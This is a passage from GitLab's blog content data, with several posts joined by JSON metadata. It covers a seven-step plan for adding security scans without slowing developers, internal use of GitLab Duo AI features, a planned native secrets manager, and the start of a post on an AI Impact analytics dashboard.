this demand for increased application security is by enabling security scans, but that can be an overwhelming proposition. Consider, for example, a technology startup with Series A funding building a SaaS application. Security scans are crucial for compliance, but so is optimizing the velocity of new feature development. These goals can seem contradictory, at times. Organizations in this situation are often uncertain about what approach to take to ensure compliance standards are met and their applications are as secure as possible without bringing developer velocity to a halt.\n\n## How to keep development fast and secure\n\nHere are the steps to take to ensure that your development can keep pace while still meeting compliance and security requirements.\n\n### Step 1: Assess the current state of development\n\nYour starting point with security scans is going to be strongly dependent on the details of the applications you build, in terms of both the industries and customer base you serve, and the frameworks, languages, and cloud technologies used to build and deploy the application.  A company producing an embedded device, for example, will have a completely different set of concerns than a company producing a SaaS application. It's important to bring together your technology leaders, cybersecurity experts, business executives, and others with the appropriate business and technology expertise to understand:\n- the compliance standards that apply to the applications you're producing\n- the types potential vulnerabilities that present the biggest threat based on industry research and your application and network architecture\n\nKnowing these characteristics will assist in your development of your threat landscape: your application's identified and potential cyberthreats. \n\nIf you have a variety of applications, start small and test your scanning and vulnerability management program with a few pilot applications. Choose the applications that are the most critical and/or will provide the best validation and feedback to inform enhancements to your application security strategy.\n\nThis assessment will help identify what security scans you want to enable for these pilot applications.\n\n### Step 2: Enable security scans\n\nNext, you'll want to conduct initial scans of the pilot applications you identified in Step 1. The initial scans should be done outside of development pipelines so that you do not distract the developers who are implementing new features and bug fixes. In GitLab, you can use [scan execution policies](https://docs.gitlab.com/ee/user/application_security/policies/scan-execution-policies.html) to enable scheduled scans of the default branch.  \n\n![7 steps app security - image 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099164/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750099164066.png)\n\nYou should only enable the highest priority scans based on the threat landscape you identified in Step 1.  While every customer will be slightly different, GitLab customers commonly start with secrets detection and dependency scanning at a bare minimum.\n\n### Step 3: Evaluate scan results\n\nOnce you have the results of initial scans for pilot applications, you will want to analyze the results. \n\nAre there vulnerabilities that are false positives based on your specific application architecture?  One example of this might be a dependency scan finding vulnerabilities in libraries that are only used in a development environment as part of a test framework but are not used for the build of the production application. These vulnerabilities can be safely ignored.  \n\nAre there vulnerabilities that are just “noise” and not really important? Many static application security testing (SAST) scanner default rule configurations will find hundreds of low severity vulnerabilities in source code that you might decide are not the most important thing to focus on right now.  \n\nFinally, based on your knowledge of the applications, and the risk assessments performed, are there areas of potential vulnerabilities that have not been uncovered with the existing scans? You’ll want to understand where gaps lie that might need additional scanners or manual assessment.\n\n### Step 4: Adjust scan analyzers and rules used\n\nUse the evaluation of the initial scan results to define processes for vulnerability triaging and remediation. Then adjust the scanner rules to only focus on what’s most important. This is a crucial step to ensure that development velocity does not dramatically slow down due to development teams having many low-priority vulnerabilities to sort through as they implement code changes. For example, a SAST analyzer rule might find critical vulnerabilities in a code that runs on an IoT device. That device, however, has other security controls that effectively mitigate exploitability of a latent vulnerability in the embedded code. In this case, thevulnerabilities are not of concern and you can safely disable the rule.\n\nSimilarly, if you find that your testers commonly use personally identifiable information in test data that sometimes inadvertently gets committed to the code repository, then you will want to create a custom secrets detection rule that looks for the appropriate string patterns for this PII data.\n\nGitLab allows you to customize rulesets for [SAST](https://docs.gitlab.com/ee/user/application_security/sast/customize_rulesets.html) and [secrets detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/pipeline/index.html#customizing-analyzer-settings). As you implement custom rulesets, be sure to clearly document rule customizations and rationale for each and review them periodically.\n\n### Step 5: Prioritize initial vulnerabilities for remediation\n\nBusiness, product, and development leaders should agree on the importance of remediating high priority vulnerabilities and convey that importance to development teams. It is crucial for development teams to plan to work on the highest priority vulnerability remediation along with feature work. Vulnerabilities with a clear and practical attack vector should be prioritized and added to the backlog.  Vulnerabilities that are not a priority for remediation can be left open in the confirmed state or be dismissed as an acceptable risk or a false positive.   Add notes to capture the dismissal reason for auditing purposes. This prioritization strategy is one more step that can prevent slowdowns in developer velocity.  \n\n### Step 6: Enable scans in development pipelines\n\nAfter completing the five steps above, you now have enough information to formalize your security scan program and bring the developers for the pilot applications into the fold. You'll want to start to drive developer participation in application security sooner rather than later, but take an iterative approach.  Start small by introducing the highest priority scans, with any custom configurations identified in the initial scans, into development pipelines via triggered jobs defined in [scan execution policies](https://docs.gitlab.com/ee/user/application_security/policies/scan-execution-policies.html).  Be sure to configure scan jobs to run in parallel with other CI jobs you've already defined for your application. \n\nMonitor pipeline times to ensure scans are not dramatically slowing down time to completion, and configure any extremely slow scans such as dynamic applications security testing to run on a scheduled basis instead of being triggered on commits to a feature branch. This will ensure that developers are still getting fast feedback as they are working on code changes for new features and bug fixes.\n\nAs much as possible, you will want to start with providing developer visibility of found vulnerabilities first without adding any enforcement or blocking of the merge of code changes.  The GitLab [merge request widget](https://docs.gitlab.com/ee/user/application_security/#merge-request) shows new potential vulnerabilities found in the feature branch to provide visibility to developers of the security impact of their code changes. If certain critical vulnerabilities are becoming commonplace, consider enabling [merge request approval policies](https://docs.gitlab.com/ee/user/application_security/policies/scan-result-policies.html) only for newly found critical vulnerabilities to put some guardrails in place without requiring too much extra process that slows down developers.\n\nAt the same time, educate the developers to understand what the security vulnerabilities mean and how to remediate them. GitLab integrates with the [security training providers](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/index.html#enable-security-training-for-vulnerabilities) Secure Code Warrior, Kontra, and SecureFlag to help your developers learn how to fix vulnerabilities, providing links on the vulnerability details page to the appropriate training resources that match a vulnerability identifier.\n\nLastly, drive a collaborative environment between development, security, and operations. Application security should be a joint initiative with clear priority across all roles. By helping developers understand potential vulnerabilities early in the software development lifecycle and remediate them when warranted, they will spend much less effort than having to remediate them at later stages, and that will allow teams to continue to have capacity for new feature development.\n\n### Step 7: Rinse and repeat\n\nCongratulations! You now have a security scan and vulnerability remediation program enabled for a set of pilot teams.  But the job is not done. You will want to focus on continuous improvement – incorporate what you learn from the pilot teams and iterate. Then, enable a second wave of teams, following all of the defined steps.  You'll want to continue with small sets of teams until security scans have been enabled across all relevant applications.\n\n## Read more\n\n- [Getting started with application security documentation](https://docs.gitlab.com/ee/user/application_security/get-started-security.html)\n- [How to tailor SAST and secret detection to your application context with custom rulesets](https://about.gitlab.com/blog/rule-pack-synthesis/)\n- [Webinar: Starting a Vulnerability Remediation Program](https://youtu.be/CS_GlJGtnpM?feature=shared)\n- [Video tutorial: Creating security policies - the basics (3:06)](https://www.youtube.com/watch?v=IZbCIKXz-wM)\n\n> Watch the on-demand [\"Vulnerability Management Strategies\" webinar](https://www.youtube.com/watch?v=CS_GlJGtnpM) and [review the accompanying slide deck](https://content.gitlab.com/viewer/663d56826ff2240911aac5f0).",[674,943],{"slug":5916,"featured":92,"template":678},"7-steps-to-enhance-application-security-without-slowing-developer-velocity","content:en-us:blog:7-steps-to-enhance-application-security-without-slowing-developer-velocity.yml","7 Steps To Enhance Application Security Without Slowing Developer Velocity","en-us/blog/7-steps-to-enhance-application-security-without-slowing-developer-velocity.yml","en-us/blog/7-steps-to-enhance-application-security-without-slowing-developer-velocity",{"_path":5922,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5923,"content":5929,"config":5934,"_id":5936,"_type":16,"title":5937,"_source":17,"_file":5938,"_stem":5939,"_extension":20},"/en-us/blog/developing-gitlab-duo-how-we-are-dogfooding-our-ai-features",{"title":5924,"description":5925,"ogTitle":5924,"ogDescription":5925,"noIndex":6,"ogImage":5926,"ogUrl":5927,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5927,"schema":5928},"Developing GitLab Duo: How we are dogfooding our AI features","As part of our blog series, we share real-world examples of how we integrate AI throughout our software development lifecycle and how we use metrics to gauge their success.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098360/Blog/Hero%20Images/Blog/Hero%20Images/blog-hero-banner-1-0178-820x470-fy25_7JlF3WlEkswGQbcTe8DOTB_1750098360821.png","https://about.gitlab.com/blog/developing-gitlab-duo-how-we-are-dogfooding-our-ai-features","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Developing GitLab Duo: How we are dogfooding our AI features\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"David O'Regan\"}],\n        \"datePublished\": \"2024-05-20\",\n      }",{"title":5924,"description":5925,"authors":5930,"heroImage":5926,"date":5931,"body":5932,"category":791,"tags":5933},[2680],"2024-05-20","***Generative AI marks a monumental shift in the software development industry, making it easier to develop, secure, and operate software. Our new blog series, written by our product and engineering teams, gives you an inside look at how we create, test, and deploy the AI features you need integrated throughout the enterprise. Get to know new capabilities within GitLab Duo and how they will help DevSecOps teams deliver better results for customers.***\n\n[GitLab Duo](https://about.gitlab.com/gitlab-duo/), our suite of AI-powered features, has transformed our internal engineering workflows, driving efficiency gains across our development process. As strong proponents of dogfooding and transparency, we wanted to showcase how our teams leverage AI, including standouts like GitLab Duo Code Suggestions and GitLab Duo Chat, daily to streamline development processes, reduce manual effort, and enhance productivity. You'll learn about the benefits we've experienced for highly technical teams like engineering to less technical teams such as technical writing and product management.\n\n> Discover the future of AI-driven software development with our GitLab 17 virtual launch event. [Watch today!](https://about.gitlab.com/seventeen/)\n\n## Real-world use cases\n\nOur teams have integrated [GitLab Duo's many features](https://about.gitlab.com/gitlab-duo/#features) into their daily routines. Here are some examples of how GitLab Duo is helping them carry out everyday activities.\n\n### Summarization and documentation\n- **Streamline the code review process:** Staff Backend Developer [Gosia Ksionek](https://about.gitlab.com/company/team/#mksionek) showcases the practical benefits of AI in her workflow by using GitLab Duo to streamline the code review process. She effectively utilizes GitLab Duo to [summarize merge requests](https://youtu.be/3SIhe8dgFEc), making it easier and faster to review code changes. In addition to summarizing merge requests, Gosia also leverages GitLab Duo to [answer coding questions](https://www.youtube.com/watch?v=6n0I53XsjTc) and [explain complex code snippets](https://www.youtube.com/watch?v=3m2YRxa1SCY). This enhances her productivity and helps her better understand and manage intricate codebases. Through these demonstrations, Gosia highlights how GitLab Duo can significantly improve efficiency and clarity in the development process, making it an invaluable tool for developers.\n\n\u003Ccenter>\n\nWatch Gosia use GitLab Duo Merge Request Summary:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/3SIhe8dgFEc?si=Q8JG3Ix3K_THhbpv\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nWatch Gosia use GitLab Duo to answer coding questions: \n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/6n0I53XsjTc?si=LA9VBHrgXpfJImSL\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nWatch Gosia use GitLab Duo to explain complex code snippets:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/3m2YRxa1SCY?si=oms3szKwZoz-4yeq\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n\u003C/center>\n\n- **Condense comment threads:** [Bartek Marnane](https://about.gitlab.com/company/team/#bmarnane), Vice President of Expansion Software Development, uses GitLab Duo to condense lengthy comment threads into concise summaries, ensuring all relevant details are captured when updating issue descriptions.\n\n- **Create new documentation:** [Taylor McCaslin](https://about.gitlab.com/company/team/#tmccaslin), Group Manager, Product - Data Science Section, leveraged GitLab Duo to [create new documentation for GitLab Duo itself](https://docs.gitlab.com/ee/user/ai_features.html), exemplifying a meta use case that enhances clarity and consistency and greatly reduces the time to document new features.\n\n- **Craft release notes:** [Amanda Rueda](https://about.gitlab.com/company/team/#amandarueda), Senior Product Manager for Product Planning, uses GitLab Duo to [craft brief, impactful summaries for release notes](https://gitlab.com/groups/gitlab-org/-/epics/10267), highlighting changes and their value to users. By using well-crafted prompts like below, Amanda supercharges her workflow and ensures that each release note is clear, concise, and user-focused, enhancing the overall communication and user experience:\u003Cbr>\u003Cbr>\n*“Please create a two sentence summary of this change, which can be used for our release notes. The tone should be conversational and should be in second person. The summary should include a description of the problem or change and be tied to the value we are creating for you, the user.”*\n\u003Cbr>\u003Cbr>\n    - Here are some examples of release notes co-created with GitLab Duo:\n      - [Expanded options for sorting your Roadmap](https://gitlab.com/gitlab-org/gitlab/-/issues/460492)\n      - [Issue Board Clarity now with Milestone & Iteration](https://gitlab.com/gitlab-org/gitlab/-/issues/25758)\n      - [Design Management Features Extended to Product Teams](https://gitlab.com/gitlab-org/gitlab/-/issues/438829)\n\n- **Optimize docs site navigation:** [Suzanne Selhorn](https://about.gitlab.com/company/team/#sselhorn), Staff Technical Writer, tapped GitLab Duo to [optimize the left navigation of documentation](https://docs.gitlab.com/ee/user/get_started/get_started_projects.html) by providing a workflow-based order of pages. Suzanne provided a list of features to GitLab Duo, which generated the optimal order, updating the left navigation to match. GitLab Duo also drafted the [Getting Started](https://docs.gitlab.com/ee/user/get_started/get_started_planning_work.html) documentation much faster than were she to use traditional, manual approaches.\n\n### Goal setting and team alignment\n- **Draft and refine OKRs:** [François Rosé](https://about.gitlab.com/company/team/#francoisrose), Engineering manager, Create:Code Review Backend, finds [GitLab Duo Chat](https://about.gitlab.com/blog/gitlab-duo-chat-now-generally-available/) invaluable for drafting and refining OKRs. By articulating objectives more clearly and effectively, François enhances goal setting and team alignment. Using Chat, François ensures that each OKR is precise, actionable, and aligned with the team's goals, thereby improving overall team performance and cohesion. Here is an example prompt he uses:\u003Cbr>\u003Cbr>\n\n    *\"Here is an OKR I am thinking of creating:*\n\n    *Objective: Retrospect on retrospectives, to foster a thriving team*\n\n    *KR: Measure retrospective satisfaction from 100% of team members*\n\n    *KR: Identify 3 improvements to the async retrospectives*\n\n    *KR: Implement 1 improvement*\n\n    *Please provide direct feedback on how to improve the formulation of this objective and these key results.\"*\n\u003Cbr>\u003Cbr>\n\n- **Streamlined hiring and recruitment processes:** Chat helped [Denys Mishunov](https://about.gitlab.com/company/team/#dmishunov), Staff Frontend Engineer, formulate a clear and concise text for updating the email template for technical interview candidates. The team collaborated on refining the communication to ensure candidates receive all necessary information using a merge request. This example showcased the practical application of AI tools in enhancing communication processes within the hiring workflow.\n\n### Incident response and configuration\n- **Summarize production incidents:** [Steve Xuereb](https://about.gitlab.com/company/team/#sxuereb), Staff Site Reliability Engineer, employs GitLab Duo to summarize production incidents and create detailed incident reviews, streamlining the documentation process.\n\n- **Create boilerplate `.gitlab-ci.yml` files:**  Steve also uses Chat to create boilerplate `.gitlab-ci.yml` files, which significantly sped up his workflow. [Chat](https://docs.gitlab.com/ee/user/gitlab_duo_chat.html) serves as a valuable partner for suggesting ideas. Additionally, [Code Explanation](https://docs.gitlab.com/ee/user/ai_features.html#code-explanation) provides detailed answers that are helpful during incidents, enhancing his productivity and understanding of the codebase.\n\n### Code generation and testing\n- **Full-stack development:** [Peter Hegman](https://about.gitlab.com/company/team/#peterhegman), Senior Frontend Engineer, has been using [Code Suggestions for his JavaScript and Ruby development](https://gitlab.com/gitlab-org/gitlab/-/issues/435783#note_1731321963). This highlights that Code Suggestions has become a powerful tool for developers moving across a full technical stack. \n\n- **Generate Python scripts:** Denys conducted [an experiment using GitLab Duo for a non-GitLab task](https://gitlab.com/gitlab-org/ai-powered/ai-framework/ai-experimentation). This example highlights the flexibility and utility of our AI tools beyond typical software development tasks.\n\n\u003Ccenter>\nWatch how Denys uses GitLab Duo to generate Python scripts to fetch content data and store it locally:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/30ZTtk4K5yU?si=p5ZcFLg6dTZL5gFE\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n\u003C/center>\n\n### Research and support\n- **Generate test source code:**  [Michael Friedrich](https://about.gitlab.com/company/team/#dnsmichi), Senior Developer Advocate, uses GitLab Duo to generate test source code for CI/CD components. This approach has been shared in various talks and presentations, such as the recent Open Source @ Siemens event ([public slides](https://go.gitlab.com/duA2Fc)). Using GitLab Duo in this manner helps ensure that the code is consistent, well-documented, and aligned with our best practices. Check out his [Rust example](https://gitlab.com/components/rust#contributing).\n\n![Rust example](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098367/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750098367547.png)\n\n- **Streamline research tasks:** Our team members consistently turn to Chat when they have questions about GitLab features, streamlining their research and support tasks. Michael shared, \"When I have a question about GitLab features, I default to using Chat instead of opening 100 browser tabs. This workflow helps me assist users on our community forum efficiently. For instance, I recently [helped a user with SSH deployment](https://forum.gitlab.com/t/how-to-make-ssh-deployment-more-clear-in-gitlab/102051/4?u=dnsmichi) using this method.\" Using Chat not only saves time but also provides quick, accurate information, enhancing the support we offer to our community.\n\n### Feature testing\n- **Test new features:** Our engineers use GitLab Duo to test new features like [Markdown support in Code Suggestions](https://gitlab.com/gitlab-org/gitlab/-/issues/443365). One of our team members noted, \"I need to test Markdown support in Code Suggestions for writing blog posts and GitLab docs in VS Code. I saw it was merged for 17.0.\" By testing these features internally, we ensure they meet our quality standards before release.\n\n### Understanding external codebases\n- **Explain external projects:** GitLab Duo's `/explain` feature is particularly useful for understanding external projects imported into GitLab. This capability was highlighted in a recent livestream he did with open source expert Eddie Jaoude. Michael let us know, \"I use `/explain` on external projects to understand the source code. I pitched this idea for learning about open source projects, dependencies, etc. during the livestream.\" This feature is invaluable for developers who need to quickly grasp the functionality and dependencies of unfamiliar codebases, significantly improving their efficiency and understanding.\n\n\u003Ccenter>\nWatch Michael demo `/explain` during a livestream with Eddie Jaoude:\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/L2Mx8hOhkEE?si=R7W3v4EDqeJCaPOw\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n\u003C/center>\n\n## GitLab Duo's benefits\n\nThe integration of GitLab Duo has brought about numerous positive impacts, significantly enhancing our engineering and product development workflows:\n\n- Many tasks that previously required manual intervention are now automated, freeing up valuable time for our engineers. For example, summarizing long threads and creating boilerplate code are now more efficient, allowing our team to focus on more complex issues.\n- The time taken to document and summarize issues has decreased, allowing for quicker information dissemination and decision-making.\n- With AI-assisted code suggestions and explanations, our teams produce higher quality code with fewer errors and faster debugging processes. The integration of GitLab Duo into incident reviews and coding assistance has led to more efficient and effective code reviews.\n- Administrative tasks, such as drafting OKRs and creating release notes, have been streamlined. \n\nGitLab Duo has helped to not only improve our efficiency but also to enhance the quality and speed of our development processes, illustrating the transformative power of AI in software development.\n\n## What's next?\n\nWe are committed to further integrating AI into our workflows and continuously improving GitLab Duo features based on internal feedback and evolving needs. The ongoing collection of use cases and metrics with the [AI Impact analytics dashboard](https://about.gitlab.com/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai/) will guide enhancements and ensure that GitLab Duo remains at the forefront of AI-driven development tools.\n\n![Dogfooding Duo - AI analytics dashboard](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098367/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098367547.png)\n\n> [Get started using GitLab Duo today with our free trial.](https://about.gitlab.com/gitlab-duo/#free-trial)\n\n## Read more \"Developing GitLab Duo\"\n\n- [Developing GitLab Duo: AI Impact analytics dashboard measures the ROI of AI](https://about.gitlab.com/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai/)\n- [Developing GitLab Duo: How we validate and test AI models at scale](https://about.gitlab.com/blog/developing-gitlab-duo-how-we-validate-and-test-ai-models-at-scale/)\n- [Developing GitLab Duo: Secure and thoroughly test AI-generated code](https://about.gitlab.com/blog/how-gitlab-duo-helps-secure-and-thoroughly-test-ai-generated-code/)\n- [Developing GitLab Duo: Blending AI and Root Cause Analysis to fix CI/CD pipelines](https://about.gitlab.com/blog/developing-gitlab-duo-blending-ai-and-root-cause-analysis-to-fix-ci-cd/)",[790,1207,754,479,1444],{"slug":5935,"featured":92,"template":678},"developing-gitlab-duo-how-we-are-dogfooding-our-ai-features","content:en-us:blog:developing-gitlab-duo-how-we-are-dogfooding-our-ai-features.yml","Developing Gitlab Duo How We Are Dogfooding Our Ai Features","en-us/blog/developing-gitlab-duo-how-we-are-dogfooding-our-ai-features.yml","en-us/blog/developing-gitlab-duo-how-we-are-dogfooding-our-ai-features",{"_path":5941,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5942,"content":5947,"config":5953,"_id":5955,"_type":16,"title":5956,"_source":17,"_file":5957,"_stem":5958,"_extension":20},"/en-us/blog/gitlab-native-secrets-manager-to-give-software-supply-chain-security-a-boost",{"title":5943,"description":5944,"ogTitle":5943,"ogDescription":5944,"noIndex":6,"ogImage":4018,"ogUrl":5945,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5945,"schema":5946},"GitLab native secrets manager boosts supply chain security","GitLab is building a secrets manager that is key to providing an end-to-end, cloud-agnostic approach to the management of sensitive information.","https://about.gitlab.com/blog/gitlab-native-secrets-manager-to-give-software-supply-chain-security-a-boost","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab native secrets manager to give software supply chain security a boost\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jocelyn Eillis\"}],\n        \"datePublished\": \"2024-05-20\",\n      }",{"title":5948,"description":5944,"authors":5949,"heroImage":4018,"date":5931,"body":5951,"category":674,"tags":5952},"GitLab native secrets manager to give software supply chain security a boost",[5950],"Jocelyn Eillis","In a constantly evolving digital world, keeping the software supply chain and sensitive information secure is a priority for organizations of all sizes. To reduce the complexity associated with managing multiple infrastructure tools, GitLab plans to release a native secrets manager later this year that will enable users to manage and scale secrets across the DevSecOps platform. This cloud-agnostic, built-in solution has a [similar look and feel to the CI Variables experience](https://gitlab.com/groups/gitlab-org/-/epics/11373) in GitLab, which will make it easier to learn and, therefore, lower friction to adopt.\n\n## What are secrets and a secrets manager?\n\n- A **secret** is a piece of data that acts as a credential to authenticate with systems or services. Secrets are highly sensitive and should be protected from unauthorized use or exposure. Examples of secrets include passwords, API keys, and certificates.\n\n- A **secrets manager** is a centralized tool that stores and manages these secrets throughout their lifecycle. Secrets are stored using unique encryption keys in order to achieve isolation, in this case, across GitLab.\n\n## Current state of secrets management within GitLab\n\nBecause GitLab does not currently have a native secrets manager, we have recommended using a third-party solution. Users leverage third-party secrets storage providers through our [OIDC connection method](https://docs.gitlab.com/ee/ci/secrets/id_token_authentication.html) (Free tier) or via native integrations (currently available for [HashiCorp Vault](https://docs.gitlab.com/ee/ci/secrets/#use-vault-secrets-in-a-ci-job), [Azure Key Vault](https://docs.gitlab.com/ee/ci/secrets/azure_key_vault.html), and [Google Secret Manager](https://docs.gitlab.com/ee/ci/secrets/gcp_secret_manager.html) (Premium and Ultimate tier). However, we understand a third-party provider can be resource-prohibitive for some users because of the overhead for setup and managing user roles and integrations, as well as additional costs.\n\n## About the GitLab secrets manager\n\nThe GitLab secrets manager will allow customers to store sensitive credentials within the GitLab DevSecOps platform, which will simplify management and reduce risk of leaking sensitive information. Our [initial release of the native secrets manager](https://gitlab.com/groups/gitlab-org/-/epics/10723) will be focused on bringing secrets management to the CI workflow, then workflows across all of GitLab. We have prioritized options to use an [open source secrets manager](https://openbao.org/) with the GitLab UI. This enables us to stay true to our open core roots while minimizing our security attack surface as an extra layer of protection. \n\nGitLab plans to have the native secrets manager available in Beta release by year-end.\n\n### Aligning secrets management with GitLab Security\n\nAs we continue to iterate, the GitLab secrets manager will integrate with existing security capabilities. Our goal is to automate when possible, while still empowering the user to own security decisions by providing prompts or calls-to-action. Here are some areas we have identified for alignment: \n\n- **Secret detection.** [Detected secrets](https://gitlab.com/groups/gitlab-org/-/epics/13607) can automatically be placed in the native secrets manager. Instances of the secrets in the pipeline will be replaced automatically with the new secret key. \n\n- **Access tokens.** When access tokens are generated, [they will automatically be placed in the secrets manager](https://gitlab.com/gitlab-org/gitlab/-/issues/460606). This eliminates the need for the user to manually create a secret for each access token. This also eliminates the need to expose the value of the token at creation. A similar use case can be applied to [deploy keys](https://gitlab.com/gitlab-org/gitlab/-/issues/432522). \n\n- **Compliance.** [Advancing audit logging](https://about.gitlab.com/direction/govern/compliance/audit-events/#how-we-will-prioritize-adding-new-audit-events) within GitLab makes it easier for admins and security teams to identify access, changes, and deletion for each secret, all within the existing GitLab [audit events](https://docs.gitlab.com/ee/administration/audit_event_types.html).  \n\n- **Secured artifacts.** Enabling a [verifiable way to link job artifacts back to their source code](https://gitlab.com/groups/gitlab-org/-/epics/6207) is critical to ensuring integrity of the software supply chain. Attestations require signing and authentication to verify authenticity in the process and the secrets manager will secure these credentials within GitLab.\n\n## Share your feedback\n\nAt GitLab, we understand a single tool does not fit all. While we are building a native solution, we are also committed to continuing to support our existing third-party integrations for Hashicorp’s Vault, Azure Key Vault, and Google Secret Manager. We envision an ecosystem where multiple secret management solutions are available to customers, ensuring the best-fit solution for our customers’ use cases. \n\nInterested in joining the conversation to shape the future of GitLab’s offerings in the secrets management space? Please [leave us a comment](https://gitlab.com/gitlab-org/gitlab/-/issues/460757). You also can view our current [direction page](https://about.gitlab.com/direction/govern/pipeline_security/secrets_management/) for the latest category updates and follow our progress to building our own secrets manager in our [MVC epic](https://gitlab.com/groups/gitlab-org/-/epics/10723). \n\n_Disclaimer: This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab._\n",[674,754,479],{"slug":5954,"featured":6,"template":678},"gitlab-native-secrets-manager-to-give-software-supply-chain-security-a-boost","content:en-us:blog:gitlab-native-secrets-manager-to-give-software-supply-chain-security-a-boost.yml","Gitlab Native Secrets Manager To Give Software Supply Chain Security A Boost","en-us/blog/gitlab-native-secrets-manager-to-give-software-supply-chain-security-a-boost.yml","en-us/blog/gitlab-native-secrets-manager-to-give-software-supply-chain-security-a-boost",{"_path":5960,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5961,"content":5967,"config":5972,"_id":5975,"_type":16,"title":5976,"_source":17,"_file":5977,"_stem":5978,"_extension":20},"/en-us/blog/gitlab-17-0-release",{"title":5962,"description":5963,"ogTitle":5962,"ogDescription":5963,"config":5964,"ogImage":3980,"ogUrl":5965,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5965,"schema":5966},"GitLab 17.0 Release","GitLab 17.0 released with generally available CI/CD Catalog and AI Impact analytics dashboard.",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-17-0-release","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab 17.0 Release\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Gabriel Engel\"}],\n        \"datePublished\": \"2024-05-16\",\n      }",{"title":5962,"description":5963,"authors":5968,"heroImage":3980,"date":5969,"body":5970,"category":962,"tags":5971},[769],"2024-05-16","This is the [GitLab 17 release post](https://about.gitlab.com/releases/2024/05/16/gitlab-17-0-released/).",[774],{"slug":5973,"featured":92,"template":678,"externalUrl":5974},"gitlab-17-0-release","https://about.gitlab.com/releases/2024/05/16/gitlab-17-0-released/","content:en-us:blog:gitlab-17-0-release.yml","Gitlab 17 0 Release","en-us/blog/gitlab-17-0-release.yml","en-us/blog/gitlab-17-0-release",{"_path":5980,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5981,"content":5987,"config":5992,"_id":5994,"_type":16,"title":5995,"_source":17,"_file":5996,"_stem":5997,"_extension":20},"/en-us/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai",{"title":5982,"description":5983,"ogTitle":5982,"ogDescription":5983,"noIndex":6,"ogImage":5984,"ogUrl":5985,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5985,"schema":5986},"Developing GitLab Duo: AI Impact analytics dashboard measures the ROI of AI","Our blog series continues spotlighting a new feature that provides detailed metrics, such as the Code Suggestions Usage Rate, to help understand the effectiveness of AI investments.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098611/Blog/Hero%20Images/Blog/Hero%20Images/blog-hero-banner-1-0178-820x470-fy25_7JlF3WlEkswGQbcTe8DOTB_1750098611370.png","https://about.gitlab.com/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Developing GitLab Duo: AI Impact analytics dashboard measures the ROI of AI\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Haim Snir\"}],\n        \"datePublished\": \"2024-05-15\",\n      }",{"title":5982,"description":5983,"authors":5988,"heroImage":5984,"date":5989,"body":5990,"category":791,"tags":5991},[2485],"2024-05-15","***Generative AI marks a monumental shift in the software development industry, making it easier to develop, secure, and operate software. Our new blog series, written by our product and engineering teams, gives you an inside look at how we create, test, and deploy the AI features you need integrated throughout the enterprise. Get to know new capabilities within GitLab Duo and how they will help DevSecOps teams deliver better results for customers.***\n\nAs organizations adopt [GitLab Duo](https://about.gitlab.com/gitlab-duo/), our suite of AI features to power DevSecOps workflows, business and engineering leaders need real-time visibility into the technology's ROI. Granular usage data, performance improvements, the trade-off between speed, security, and quality, and other [productivity metrics](https://about.gitlab.com/blog/measuring-ai-effectiveness-beyond-developer-productivity-metrics/) are essential to evaluate the effectiveness of AI in software development. That's why we created the AI Impact analytics dashboard for GitLab Duo, available in GitLab 17.0, as a new way to measure the ROI of AI.\n\n> 